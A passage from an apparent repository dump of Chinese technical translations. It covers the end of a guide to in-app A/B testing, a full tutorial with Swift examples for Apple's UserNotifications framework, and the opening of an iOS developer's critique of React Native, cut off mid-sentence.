又是什么？）\n\n下面的表格列出了大部分的情景，可以帮助你确定要如何选择测试的版本。以我们假设的导航实验为例。\n\n![](https://cdn-images-1.medium.com/max/1000/1*fY2cSb5ZzM0xmWy0J3SbRA.png)\n\n“排除测试”这一列表示不参与测试的用户。他们的行为将不会有助于测试结果。我们看看谁是测试用户。\n\n我们根据假设想要度量什么来选择情景 2 或者情景 3。如果仅与新功能有关（例如，如果新功能是需要 app 内购，则这个功能仅和 app 内购买收入相关），那么选择情景 2。如果假设要实现的新功能（例如，如果新功能是“最爱”机制，并且度量指标是用户参与度）与之前的东西（并且是可测量的）相关，则选择情景 3。\n\n> **注意：** 在接下来的部分中，为了简洁起见，我将使用情景 1。 同样的方法同样适用于情景 2 和情景 3，以“现有”和“新”版本这些称号代替“新 1”和“新 2”版本。\n\n#### 谁来测试\n\n如果已知观察到的行为会因为假设外的某个因素发生变化 —— 例如，当假设仅考虑全球收入的影响时，已知行为会因居住国而异 —— 需要让该因素（单一国家）的值唯一，或者使用全体人口（所有国家）的代表性样本。\n\n受控的代表性样本的大小也可以设定为总人口的百分比。例如，测试样本大小是总人口的 10％，其中 5％ 收到版本 A，5％ 收到版本 B，其余 90％ 排除在测试之外。也就是 90％ 的用户只会看到现有的功能，并不会看到任何新功能，他们的行为被排除在测试指标之外。\n\n#### 要测试多久\n\n**最长时间：** 用户的行为通常会随着时间，这周的第几天，月份，季节等类似因素而变化。为了让版本之间体现出足够的差异，您需要平衡统计显着性和业务的需求。（您的业务可能无法等到你有足够的数据可以完整的统计。）如果知道某个特定指标会在较短的时间段内发生变化，例如一天中的某个时间或一周中的某一天  —— 那么就尝试让测试涵盖这一整个时期。对于需要较长的时间段的指标，只测试几周可能会更好一点，并要根据度量标准随时间的变化进行相应地推测。\n\n**最短时间：** 测试运行的时间要足够长，来获取足够的数据从而能够提供具备统计意义的结果。通常对应的测试人数是 1,000 个用户（至少）。但是，能否得到明显的结果取决于从假设推导出来的指标分布。你可以通过估计有多少用户能够在所需的时间段内进行测试，从而在合理的时间内完成此操作，然后选择估计用户数量的百分比，以便让你的测试在这个时间段内达到统计显著性。一些 A/B 测试平台能自动管理这些操作，同时也可以提高你的测试采样率，让你的测试更快地达到统计显著性。\n\n### 第 2 步，整合 A/B 测试平台\n\n![](https://cdn-images-1.medium.com/max/600/1*8iHKjuY5xYGOaQTM6BEqGg.png)\n\n已经有几种 A/B 测试平台，既可以作为一个独立产品进行测试，也可以作为一个更大分析平台的组件，例如 [Firebase 远程配置分析](https://firebase.google.com/docs/remote-config/config-analytics)。通过客户端库，平台会向 app 发送一组配置指令。app 不知道**为什么**要返回某个参数，因此不知道它在测试哪一部分，甚至不知道是否这是测试的一部分。客户端应该按照配置指令自己进行相应配置，由客户端来解释其中的价值。 在最简单的情况下，返回的参数可以是简单的键值对，用于控制是否启用给定功能，如果是，则激活对应的版本。\n\n在更复杂的情况下，如果需要进行大量的远程 app 配置，app 会将参数发送到 A/B 测试平台，测试平台会跟据这些参数来选出更精细的测试配置。例如，如果假设只涉及具有 xxxhdpi 屏幕密度的设备，那么 app 将需要将其屏幕密度发送到 A/B 测试平台。\n\n#### 不要重复发明轮子\n\n直接从现有平台中选择一个可以满足 A/B 测试需求的。注意：需要养成相应习惯来做到 A/B 测试和数据驱动决策。\n\n> **注意：** 管理许多用户，让其保持一致的测试状态，并公平地分配测试参与者很**难**。没有必要从头开始写。\n\n当然，你要为每个要测试的版本写代码。但是，不应该由 app 或某个定制服务来决定在给定时间内使用哪个版本。这要交给 A/B 测试平台来处理，应用这种标准方法，可以在集中管理同一时间内同一人群的多个测试。当你在平台上只执行一个测试时，亲自实现一个简单的 A/B 测试机制才有意义。 对于硬编码两个测试的成本，您可以集成一个现成的 A/B 测试平台。和写两个硬编码测试的成本相比，不如把这些测试集成进一个现成的 A/B 测试平台。\n\n#### 整合分析功能\n\n选一个可以提供详细的测试状态信息的现有分析平台，可以自动帮你可以把测试人群进行分类。要紧密地把这两个平台集成在一起，取决于每个测试的具体配置，和要直接在 A/B 测试平台和分析平台之间传递的版本。A/B 测试平台会为每个版本分配一个唯一的引用，并将其传递给客户端和分析平台。然后，只允许客户端把该引用而不是整个版本的配置传递给分析平台。\n\n#### 远程配置\n\n一个具有远程配置功能的 app，已经有了实现 A/B 测试时所需的大部分代码。实质上，A/B 测试添加了一些服务器端的规则用来确定什么配置发送到 app。 对于没有远程配置功能的 app，那么引入 A/B 测试平台是让你引入这一功能的其中一个好方法。\n\n### 第 3 步，测试假设\n\n一旦确定好你的假设和设计好测试，而且也集成了 A/B 测试平台，实现你的测试版本就是一个最简单的操作了。下一步，开始你的测试。A/B测试平台将一组样本用户分配在测试群体上，然后给每个测试用户分配版本。然后平台继续在理想时间段内的分配用户。对于更高级的平台，平台会一直执行测试，直至达到统计显著性。\n\n#### 监控测试\n\n我建议在测试过程中监控新版本所造成的影响，包括测试假设中未提及的指标。如果你发现它会造成不良的影响，那么可能要尽早停止测试，尽可能快地让用户恢复到之前的版本 —— 最大限度地减少糟糕的用户体验。一些 A/B 测试平台能够自动监控并会提醒测试可能会有意想不到的负面影响。如果你的平台不能做到这一点，你需要把现有的监控系统中看到的任何影响和目前的测试相互参考，来识别“不良”版本。\n\n> **注意：** 如果测试确实需要提前停止，那么你应该要对收集到的数据谨慎处理，因为它不能保证测试群体样本具有代表性。\n\n### 第 4 步，分析并得出结论\n\n一旦测试正常结束，你就可以用在分析平台中收集到的数据确定测试的结果。如果结果指标和假设相符，那么你可以认为这个假设是正确的。否则，你猜错了。确定观察结果是否具有 [统计显著性](https://en.wikipedia.org/wiki/Statistical_significance) 取决于指标的性质和分布。\n\n如果假设错误 —— 因为相关指标没有正面或者负面影响 —— 那么就没有理由继续保留这一版本了。然而，新的版本可能会对相关但意想不到的指标产生积极的影响。这可能是一个选择新版本的理由，但通常来说执行一个专门针对辅助指标的附加测试来确认其影响会更好一点。实际上，一个实验的结果经常会引起额外的问题和假设。\n\n### 第 5 步，采取行动\n\n如果假设是真的，并且新的版本比旧的好，那么我们可以更新要传递给 app 的“默认”配置参数，指示它使用新的版本。一旦新的版本为成为默认后持续了足够的时间，你就可以把旧版本的代码和资源从下一个版本的 app 中删除。\n\n#### 迭代展示\n\nA/B 测试平台的一个常见用法是将其重新作为迭代展示的机制，其中 A/B 测试的获胜版本会逐渐取代旧版本。这可以视为 A/B 设计测试，而迭代展示是 Vcurr／Vnext 测试，用来确认所选的版本不会对大部分的用户产生不利影响。可以通过提高接收新版本的用户百分比（例如，从 0.01％，0.1％，1％，3％，7.5％，25％，50％，100％ 开始）来迭代展示并确定在进入下一步之前没有不利的结果。同时你还可以用其他方式进行分类，例如国家，设备类型，用户组等。你还可以选择将新的版本展示给特定的用户组（例如内部用户）。\n\n### 更进一步的实验\n\n例如，你可以构建一个简单的 A/B 测试，用于更深入的理解用户行为范围。您还可以同时运行多个测试，并在单个测试中比较多个版本来来让测试更高效。\n\n#### 深度分组和定位\n\nA/B 测试结果可以检测不同组结果的变化，并定位是哪个方法所造成的。在这两种情况下，可能需要提高采样率或测试持续时间来达到每个组的统计显著性。例如，[标签 vs 底部导航假设](https://uxplanet.org/perfect-bottom-navigation-for-mobile-app-effabbb98c0f) 的测试结果可能会根据国家的不同有不同的影响。在某些情况下，一些国家的用户参与度可能会大幅度增长，有些则没有变化，有的略有下降。 在这种情景下，A/B 测试平台可以根据国家设置不同的“默认”版本，以最大限度地提高用户总体参与度。\n\n可以针对特定组使用同一组的数据进行测试。例如，您可以测试居住在美国的用户和之前使用过标签导航风格的用户。\n\n#### A/n 测试\n\nA/n 测试是测试两种以上版本的简写。这可能是多个新的版本要取代现有的版本，如有全新功能的几个版本要取代没有任何新功能的版本。当你进行了深度地分组后，可能会发现不同的版本会在不同的组中表现最好。\n\n#### 多变量测试\n\n一个多变量测试是一个单一的测试，它一次性改变 app 多个部分。然后，在 A/n 测试中，将唯一的一组值作为一个单独变量处理。例如：\n\n![](https://cdn-images-1.medium.com/max/800/1*DbBtyfDwZwCLPbFD2eIMVg.png)\n\n当多个方面可能都会影响整体指标性能时，使用多变量测试是适当的，但是无法区分该效果是由哪一特定方面带来。\n\n#### 扩大测试规模\n\n如果在同一个人群中同时运行多个测试，那么这些测试必须由同一个平台管理。有些平台能够扩展到支持数千个测试同时运行，有些平台则把完全测试孤立起来（所以用户一次只能进行一次测试），而有些平台可以共享一个测试用户（所以用户同时进行多个测试）。前一种情况更容易管理，但会迅速用完测试用户，并导致统计显著性的上限取决于并行测试的数量。而后一种情况，A/B 测试平台难以管理，但是并行测试的数量没有上限。平台通过完全把每个测试视为另一个测试的附加组来实现这一点。\n\n#### 自我选择\n\n自我选择让用户知道自己正在使用特定测试中的特定版本。用户可以自行选择版本，或者让 A/B 测试平台给他们分配。无论是哪种情况，这些用户都应该被排除在指标分析之外，因为他们不是在不知情的状态下参与测试 —— 他们知道这是一个测试，所以他们可能会表现出一个有偏见的回应。\n\n### 结论\n\napp 内的 A/B 测试是一个非常灵活的工具，它可以让你对你的 app 做出由数据驱动的决策，正如我在本文中所强调的，这可以帮助你对新功能做出明智的选择。A/B 测试允许你在真实世界中使用真实用户测试 app 的各个方面的版本。为了简化 app 内的 A/B 测试设计，集成，执行和分析，Google 提供了一套工具，其中包括：\n\n*   [Firebase 远程配置](https://firebase.google.com/docs/remote-config/) （FRC）提供了一个客户端库，允许 app 请求 Firebase 和并接收相应配置，另外还有一个基于规则的云端机制来定义用户配置。远程配置可以在而无需发布新版本的情况下帮你更新（和升级）你的 app。\n*   [Firebase 远程配置与分析](https://firebase.google.com/docs/remote-config/config-analytics) 支持根据 A/B 测试来决定和跟踪版本部署。\n*   [Firebase 分析](https://firebase.google.com/docs/analytics/) 根据版本给出一个指标分类，并直接连接到 FRC。\n\n* * *\n\n#### 你怎么看？\n\n对使用 A/B 测试还有任何疑问或想法吗？可以在下面的评论中发布讨论，或者使用标签 #AskPlayDev，我们将会在 [@GooglePlayDev](http://twitter.com/googleplaydev) 里回复，我们会定期分享有关如何在 Google 上做得更好的新闻和提示。\n\n* * *\n\n**记住：** 分析对于 A/B 测试至关重要。 A/B 测试和分析结合在一起，可以开拓你的视野，推动你的 app 之后的设计和开发，最大限度地让其做到最好。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/an-introduction-to-the-usernotifications-framework.md",
    "content": "> * 原文地址：[An Introduction to the UserNotifications Framework](https://code.tutsplus.com/tutorials/an-introduction-to-the-usernotifications-framework--cms-27250)\n* 原文作者：[Davis Allie](https://tutsplus.com/authors/davis-allie)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Danny Lau](https://github.com/Danny1451)\n* 校对者：[Nicolas(Yifei) Li](https://github.com/yifili09), [肘子涵](https://github.com/zhouzihanntu)\n\n\n# UserNotifications Framework 入门介绍\n\n\n\n## 简介\n\n\n随着 iOS 10, tvOS 10, 和 watchOS 3 的发布， 苹果正在引入一个新的叫做 UserNotifications 的 framework。这个全新的 API 集合提供了一种统一的面向对象的\n\n方式在这些平台上使用本地和远程的通知。相比目前的 API 会格外好用，本地和远程通知的处理方式很相似，并且访问通知内容不再仅通过字典型数据类型。\n\n在这个教程中，我将遍历一遍这个新的 framework 的基础并且展示如何便捷的它的优点来为你的应用增加通知功能。\n\n这个教程要求使用包含最新 iOS, tvOS, 和 watchOS 的 SDK 的 Xcode8 。\n\n## 1. 注册通知\n\n对任何需要通知的应用来说，第一步就是向用户请求权限。在之前的 iOS 版本中，在使用 UserNotifications 的 framework 的时候，通常是在应用刚刚启动完之后就执行这一步操作。 \n\n在使用任何 UserNotifications 的 API 之前，你必须在需要使用这个 framework 的 Swift 代码文件里增加下面这个导入声明\n\n    import UserNotifications\n\n接下来，为了给你的 app 注册通知，你需要在你的 `AppDelegate` 中的 `application(_:didFinishLaunchingWithOptions:)` 方法中增加如下代码：\n\n    let center = UNUserNotificationCenter.current()\n    let options: UNAuthorizationOptions = [.alert, .badge, .sound]\n    center.requestAuthorization(options: options) { (granted, error) in\n        if granted {\n            application.registerForRemoteNotifications()\n        }\n    }\n\n通过这个代码，我们得到了当前 `UNUserNotificationCenter` 的对象的引用。下一步，我们根据我们应用需要的通知能力来配置 `UNAuthorizationOptions` 。请注意在这里可以任意组合以上的选项，比如只有 `alert` ，或者同时有 `badge` 和 `sound` 。\n\n通过使用这些对象，我们接下来通过调用 `UNUserNotificationCenter` 实例中的 `requestAuthorization(options:completionHandler:)` 方法向我们的 app 申请展示通知的认证。这个 handler 的 block 会回传两个参数\n\n*   一个代表是否得到的用户授权的 `Bool` 值。\n*   在某些情况下，系统不能为你的应用请求通知的认证时，会返回一个包含错误信息的 Error 对象。\n\n你可以在上面的代码中看到，如果授权被用户授予的话，我们可以接下来注册远程通知。如果你需要使用推送通知的话，就需要这行代码。同时你也需要为你的项目多配置几步，详见这篇教程：\n[Setting Up Push Notifications on iOS](https://code.tutsplus.com/tutorials/setting-up-push-notifications-on-ios--cms-21925)\n\n*   \n\n    苹果原先引入推送通知的目的是使应用如果不在前台的话可以响应事件，可是...\n    \n\n请注意注册远程推送会调用之前 iOS 版本相同的 `UIApplication` 的回调方法。成功的话， `application(_:didRegisterForRemoteNotificationsWithDeviceToken:)`，这个方法会调用，失败的话 `application(_:didFailToRegisterForRemoteNotificationsWithError:)`会被调用。\n\n## 2. 发送通知\n\n在这一节的教程里，我们主要集中在通过使用 UserNotifications framwork 来实现发送本地推送。在这个 framework 的介绍中，发送远程推送通知的方法并没有改变。\n\n一个本地推送在发送之前，通常是由一个 `UNNotificationRequest` 实例来代表的。这种类型的对象通常由下面几个元素组成：\n*   Identifier（识别符）：一个唯一让你去区分不同通知的 `String` 字符串。\n*   Content（内容）: 一个包含所有通知需要展示的信息的 `UNNotificationContent` 对象，包括标题，子标题和应用的标记数.\n*   Trigger（触发器）:一个系统用来确定什么时候该发送你的通知给你的应用的 `UNNotificationTrigger` 对象。\n\n首先，我们将看一下那些可以用来创建本地推送的不同种类的触发器。`UNNotificationTrigger` 类是个抽象类，意味着你不能直接创建它的实例。所以你只能使用那些可以用的子类。目前，UserNotifications 的framework提供了下面三种：\n\n*   `UNTimeIntervalNotificationTrigger`, 能够在一定时间后触发发送通知。\n*   `UNCalendarNotificationTrigger`, 能在特定日期和时间的触发发送通知，不管通知是什么时候创建的。\n*   `UNLocationNotificationTrigger`, 能够在用户到达或者离开某个设计好的地理位置触发，发送通知。\n\n下面的代码展示了如何生成各个类型的触发器：\n\n    let timeTrigger = UNTimeIntervalNotificationTrigger(timeInterval: 60.0 * 60.0, repeats: false)\n\n    var date = DateComponents()\n    date.hour = 22\n    let calendarTrigger = UNCalendarNotificationTrigger(dateMatching: date, repeats: true)\n\n    let center = CLLocationCoordinate2D(latitude: 40.0, longitude: 120.0)\n    let region = CLCircularRegion(center: center, radius: 500.0, identifier: \"Location\")\n    region.notifyOnEntry = true;\n    region.notifyOnExit = false;\n    let locationTrigger = UNLocationNotificationTrigger(region: region, repeats: false)\n\n通过上面的代码，可以生成以下条件的触发器：\n\n*   `timeTrigger` 会在通知发送后的一个小时之后触发。 `timeInterval` 参数在 `UNTimeIntervalNotificationTrigger` 构造的时候以秒级别传入。\n*   `calendarTrigger`  将会在每天 10:00PM 触发。预定的日期和时间可以在 `UNCalendarNotificationTrigger` 构造函数里通过改变传入的 `DateComponents`  这个对象的配置来轻松的改变。\n*   `locationTrigger` 在用户到达指定坐标的 500 米内会触发，在这个例子里面是 40°N 120°E。从代码中可以看到，这类触发器可以使用任何坐标，或者任何区域大小，而且可以同时在进入和离开指定区域时触发通知。\n\n下一步，我们需要创建通知的内容。这个通过创造一个 `UNMutableNotificationContent`类的对象实例来实现。这个类必须像常用的 `UNNotificationContent` 类一样使用，对大量的通知内容只有可读的权限。\n\n下面的代码展示了如何创建一个基础通知需要的内容：\n\n    let content = UNMutableNotificationContent()\n    content.title = \"Notification Title\"\n    content.subtitle = \"Notification Subtitle\"\n    content.body = \"Some notification body information to be displayed.\"\n    content.badge = 1\n    content.sound = UNNotificationSound.default()\n\n如果你想要一个可用的属性列表，可以看一下 `UNMutableNotificationContent` [class reference](https://developer.apple.com/reference/usernotifications/unmutablenotificationcontent).\n\n最后，我们现在只需要创建 `UNNotificationRequest` 对象并且发送它，可以通过下面的代码实现：\n\n    let request = UNNotificationRequest(identifier: \"LocalNotification\", content: content, trigger: timeTrigger)\n    UNUserNotificationCenter.current().add(request) { error in\n        if let error = error {\n            // Do something with error\n        } else {\n            // Request was added successfully\n        }\n    }\n\n有了这些代码，我们通过传递一个标示，内容对象和触发器给构造函数来创建了请求对象。接下来我们调用当前的 `UNUserNotificationCenter` 对象中的 `add(_:completionHandler:)` 方法，然后使用完成的 handler 来实现是否成功计划发送通知之后的逻辑。\n\n## 3. 接收通知\n\n当使用 UserNotifications framework 的时候，处理收到消息的是一个实现了 `UNUserNotificationCenterDelegate` 协议的对象。这个对象可以是你想要的任何对象，并不是像之前的 iOS 版本，一定要是应用的代理。另一个需要注意的是，你必须在你的应用完全启动之后才能设置代理。对一个 iOS 应用来说，这个意味着你必须在你的应用的代理中除了 `application(_:willFinishLaunchingWithOptions:)` 和 `application(_:didFinishLaunchingWithOptions:)` 这两个方法中来给代理赋值。通过下面的代码可以非常容易的实现给用户通知设置代理：\n\n    UNUserNotificationCenter.current().delegate = delegateObject\n\n随着你的代理的设置，当应用收到了一个通知时，有两个方法你需要担心的。两个方法都会传一个 `UNNotification` 的对象，它代表了通知已经收到。这个对象包含了一个 `date` 参数，代表了这个通知什么时候发送的，和一个 `request` 参数，就是之前的 `UNNotificationRequest` 对象的实例。通过这个请求对象，你可以获取到通知的内容和触发器（如果需要的话）。这个触发器是之前说的 `UNNotificationTrigger` 子类的其中之一，或者在推送通知的情况下，是 `UNPushNotificationTrigger` 类的实例。\n\n在 `UNUserNotificationCenterDelegate` 协议中第一个定义的方法是 `userNotificationCenter(_:willPresent:withCompletionHandler:)` ，这个只有在你的应用在前台收到消息时调用。你可以获取通知的内容并且当需要时在你的应用内展示你自定义的交互界面。或者，当你的应用不在运行时，你可以通过一些配置让系统进行消息推送，下面是可选项：\n\n*   Alert 弹出系统生成的通知交互界面\n*   Sound 播放伴随通知的提示音\n*   Badge 来编辑用户主页上你的应用的标记数\n\n 下面代码展示了一个 `userNotificationCenter(_:willPresent:withCompletionHandler:)` 实现的例子：\n\n    func userNotificationCenter(_ center: UNUserNotificationCenter, willPresent notification: UNNotification, withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void) {\n        let content = notification.request.content\n        // Process notification content\n\n        completionHandler([.alert, .sound]) // Display notification as regular alert and play sound\n    }\n\n另外一个 `UNUserNotificationCenterDelegate` 协议定义的方法是 `userNotificationCenter(_:didReceive:withCompletionHandler:)` 。这个方法是当用户对你应用通知进行交互时调用，包括消除它或者通过它打开你的应用。 \n\n这个方法会传入一个 `UNNotificationResponse` 对象，而不是 `UNNotification` 对象。这个对象包含了 `UNNotification` 对象代表了发送的通知。它还包含了一个 `actionIdentifier` 参数来区分用户是如何与这个通知交互的。UserNotifications framework 提供了动作常量给你比对，来区分通知是消失了还是你的应用被打开了。\n\n下面的代码展示了一个`userNotificationCenter(_:didReceive:withCompletionHandler:)` 方法实现的例子：\n\n    func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) {\n        let actionIdentifier = response.actionIdentifier\n\n        switch actionIdentifier {\n        case UNNotificationDismissActionIdentifier: // Notification was dismissed by user\n            // Do something\n            completionHandler()\n        case UNNotificationDefaultActionIdentifier: // App was opened from notification\n            // Do something\n            completionHandler()\n        default:\n            completionHandler()\n        }\n    }\n\n请注意对这个两个函数来说，你必须在处理完通知之后调用 handler 。一旦你调用了，系统就会知道你已经用完这个通知了并且可以执行任何需要的进程了，比如把通知放到用户的 Notification 中心。\n\n## 4. 管理通知\n\n时候，你的应用的一个用户会在应用不在运行的时候收到很多条通知。他们可能也会在主页直接打开你的应用，而不是通过一个通知。在上述任何一个情况下，没有一个 `UNUserNotificationCenterDelegate` 协议的方法会被调用。当使用本地通知的时候，你有时也会想在展示给用户之前移除一个通知。\n\n因此， UserNotifications framework 在当前 `UNUserNotificationCenter` 的实例中提供了以下的方法来操作待定的本地通知和收到却还未处理的通知。\n\n*   `getPendingNotificationRequests(completionHandler:)` 在处理器里提供了一个 `UNNotificationRequest` 对象的数组。这个数组包含了所有你计划了却还没触发的本地通知。\n*   `removePendingNotificationRequests(withIdentifiers:)` 移除所有包含你传进去的`String`数组中对象的标示的本地通知。\n*   `removeAllPendingNotificationRequests` 移除你应用所有的本地通知。\n*   `getDeliveredNotifications(completionHandler:)` 在处理器里提供了一个 `UNNotificationRequest` 对象的数组。这个数组包含了所有你收到了还在用户中心显示的通知。\n*   `removeDeliveredNotifications(withIdentifiers:)` 在用户中心中移除所有包含你传进去的`String`数组中对象的标示的收到的通知。\n*   `removeAllDeliveredNotifications` 移除你应用所有收到的通知。\n\n## 5. 自定义动作通知\n\nUserNotifications framework 也让你可以更好的使用在 iOS8 中引入的自定义通知拓展和动作。\n\n首先，你需要分别定义你应用支持 `unnotificationaction` 和 `unnotificationcategory` 类的自定义的动作和拓展。比如你想让用户可以输入文字的动作，你可以使用 `UNTextInputNotificationAction` 类，它是 `UNNotificationAction` 的子类。一旦你的动作和拓展定义好了，你只需要在当前的 `UNUserNotificationCenter` 的实例中调用 `setNotificationCategories(_:)` 方法。下面的代码展示了，如何简单地在你应用中为消息类型注册回复和删除动作：\n\n\n    let replyAction = UNTextInputNotificationAction(identifier: \"com.usernotificationstutorial.reply\", title: \"Reply\", options: [], textInputButtonTitle: \"Send\", textInputPlaceholder: \"Type your message\")\n    let deleteAction = UNNotificationAction(identifier: \"com.usernotificationstutorial.delete\", title: \"Delete\", options: [.authenticationRequired, .destructive])\n    let category = UNNotificationCategory(identifier: \"com.usernotificationstutorial.message\", actions: [replyAction, deleteAction], intentIdentifiers: [], options: [])\n    center.setNotificationCategories([category])\n\n接下来，当用户使用你的一个自定义动作地时候，之前我们提到的 `userNotificationCenter(_:didReceive:withCompletionHandler:)` 相同的方法会被调用。在这个例子里，这个传入的 `UNNotificationResponse` 对象的动作标示将和你之前定义的自定义动作相同。这个需要注意的是，如果用户通过一个文字输入的通知动作交互的话，方法中传入的响应对象会是 `UNTextInputNotificationResponse` 类型的。\n\n下面的代码展示了一个实现这个方法的例子，包括了之前创建动作的逻辑：\n\n    func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) {\n        let actionIdentifier = response.actionIdentifier\n        let content = response.notification.request.content\n\n        switch actionIdentifier {\n        case UNNotificationDismissActionIdentifier: // Notification was dismissed by user\n            // Do something\n            completionHandler()\n        case UNNotificationDefaultActionIdentifier: // App was opened from notification\n            // Do something\n            completionHandler()\n        case \"com.usernotificationstutorial.reply\":\n            if let textResponse = response as? UNTextInputNotificationResponse {\n                let reply = textResponse.userText\n                // Send reply message\n                completionHandler()\n            }\n        case \"com.usernotificationstutorial.delete\":\n            // Delete message\n            completionHandler()\n        default:\n            completionHandler()\n        }\n    }\n另外，如果你想好好利用本地通知的优点的话，你可以简单的在创建通知的时候在你的 `UNMutableNotificationContent` 对象上设置 `categoryIdentifier` 属性。\n\n## 结论\n\n新的 UserNotifications framework 提供了全面并且使用简单的 面向对象的 API 来操作在 iOS，watchOS 和 tvOS 中本地和远程通知。这使得它可以简洁的安排不同情境下的本地通知，同时也简化了处理通知和自定义动作的整个工作流程。\n\n与往常一样，请务必在下面留下你的评论和反馈，并看下我们的其他关于 iOS 10 和 watchOS3 新特点的文章和教程。 \nUserNotifications framework 也让你可以更好的使用在 iOS8 中引入的自定义通知拓展和动作。\n"
  },
  {
    "path": "TODO/an-ios-devs-experience-with-react-native.md",
    "content": "> * 原文地址：[An iOS Dev’s Experience with React Native](https://blog.madebywindmill.com/an-ios-devs-experience-with-react-native-559275b5a4e8#.qvkcgzpaa)\n> * 原文作者：本文已获原作者 [John Scalo](https://blog.madebywindmill.com/@scalo?source=post_header_lockup) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[1992chenlu](https://github.com/1992chenlu),[avocadowang](https://github.com/avocadowang)\n\n# 一名 iOS 开发者的 React Native 开发经历 #\n\n如果你是一名 iOS 开发者，你应该听说过 React Native。它给出了简单而吸引人的承诺：一次编写，两处部署，同时搞定 iOS 与安卓版本的 app。我是一名资深的 iOS 开发者（还是一名更资深的 macOS 开发者），我想分享我应用这门神奇技术的经历。\n\n去年，我们和一个客户进行过交谈。他们来找我们是因为他们想尽快完成他们的 iOS app。在讨论的过程中，他们提到了这个叫做 React Native 的东西。他们有个善于使用 Javascript 的 web 开发人员，那个人指出使用 RN 可以让开发速度快很多。这场谈判最终我们没有达成共识而是以失败告终，但这件事也让我开始思考是否应该将 RN 纳入我们的技术栈中\n\n几周后一位老友来访，让我为他出版的一本书制作一个 app 作为补充参考资料。因为这个工作我找到了一线机会：这是一个很棒的时机来试一试 React Native。由于他的读者大多数使用安卓系统，因此「一次编写，两处部署」的理念在此深得我心。\n\n我不会带你亲历一遍我的各种尝试和遇到的问题。但我要说的是，就这么一个简单的 app，并不能使用 RN 很好的进行开发。以下是原因。\n\n首先，我必须说一下除开「一次编写，两处部署」的承诺，我喜欢 React Native 的地方。\n\n- React.js，RN 由它而生。它是一种描述与更新 UI 的优雅方法。它的基本原理是组件使用一组传递给它的属性由上到下渲染其 UI。感谢 React 的虚拟 DOM，当属性变化时 UI 会立即更新，使得 model 与 view 能够自动且无缝地同步。我多么希望 iOS 的 UIKit 也这样设计啊！\n- 更新 JSX 代码就可以在模拟器中更新 app 而不需要重新编译与重新运行，这点真的很棒。\n- 蓬勃发展的 RN 社区提供了数以百计的预制组件，你可以在你的 app 中使用它们。（实际上我非常讨厌这种看似专业的「脚本小子」的编程方法。构建一个大部分都不是你自己写的，并且弄不明白的 app，将会导致之后的维护如同陷入泥潭一般困难）\n- 我很担心 RN 的性能，但是在我的经历中它并没有出现问题。滚动和动画都很流畅。毕竟 RN app 大部分使用的是平台原生的 UI 控件，RN 的工程师们也对它们进行了很好的优化。\n\n那么为什么我不喜欢它呢？老实说，我并不是 React Native 的目标用户。我熟悉 Javascript 但我并不精通它，我精通的是 Swift/Objective-C。我很快就意识到，如果我使用 RN 来完成这个 app，将会比我用 Swift 慢 10-20 倍。当然，安卓版本还要单独写，但是考虑到我学习 RN 的学习曲线，我还不如去学习 Java。\n\n除此之外，我认为采用 RN 的解决方案还有一些严重的问题。\n\n### 脆弱的依赖链 ###\n\nReact Native 并不是一个一站式解决方案。我制作了一个粗略的必要组件依赖图：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*781lZgF4IFAvLrnFRHcvaQ.png\">\n\nReact Native 的依赖链\n\n如果你来自 web 开发的世界，这可能对你来说很正常；但是对我来说，这很不正常。我的世界中有 Xcode，任何创建 Swift/Obj-C/iOS/Mac/Apple TV 等 app 所需要的东西都已经封装好并由 Xcode 管理。依赖链和前面的图一样（甚至更长），**但是依赖链中的东西都保证是同步且兼容的。**\n\n我现在肯定 RN 依赖链中的大多数组件都是互相兼容的。但我遇到了四五个需要在 StackOverflow 上花几小时寻求解决方案的问题。在我心中更重要的是之后会发生的事情。例如，升级 Nuclide（IDE 的 RN 拓展）可能需要新版的 Atom。我系统中的另一个工具需要新版的 `winston`，如果那个版本不兼容 RN 怎么办？后果可想而知。\n\n### 被打破的承诺 ###\n\n事实证明「一次编写，两处部署」的承诺只有部分实现了。我遇到了必须要把我的 RN app 根据目标平台（iOS 或安卓）进行「分支」的问题。例如 tab bar，你可能认为像它这么随处可见的组件会被 RN 列为「一等公民」，但事实不是这样的。RN 为 iOS 收录了 `TabBarIOS` 组件，但是因为某些原因它在安卓上并不相同。相反，在 GitHub 上有一堆的教程和解决方案教你如何从头做起。又例如 nav bar，iOS 的 `NavigatorIOS` 与安卓的 `Navigator` 工作方式差别巨大。这些核心的导航功能结构在两个平台上的差异会导致要为每个平台分别编写大量的不同的文件与组件。我开始感觉到，尽管承诺很神奇，尽管我在用同一种语言，但其实我仍然在写两个不同的 app。\n\n* 实际上，这个「承诺」其实是别人推断的，并不是官方宣称的（至少 Facebook/RN 的人没有这么宣称过）。官方宣传的是「一次学习，随处编写」。\n\n### 令人惊讶的技术限制 ###\n\n我在做的这个项目其实是一个层级化的参考指南。书作者和我为目录与文章用我们设计的 UI 范式规划了一套挺合理的布局。根据我们的想法，我们可以通过链接或导航跳转到数百个使用静态内容的详情页中。我写好了代码，但奇怪的是我调用 `require()` 一直不成功。我经过一段时间的研究，了解到 RN 限制**您无法从任意路径读取文件**。显然你的 RN app 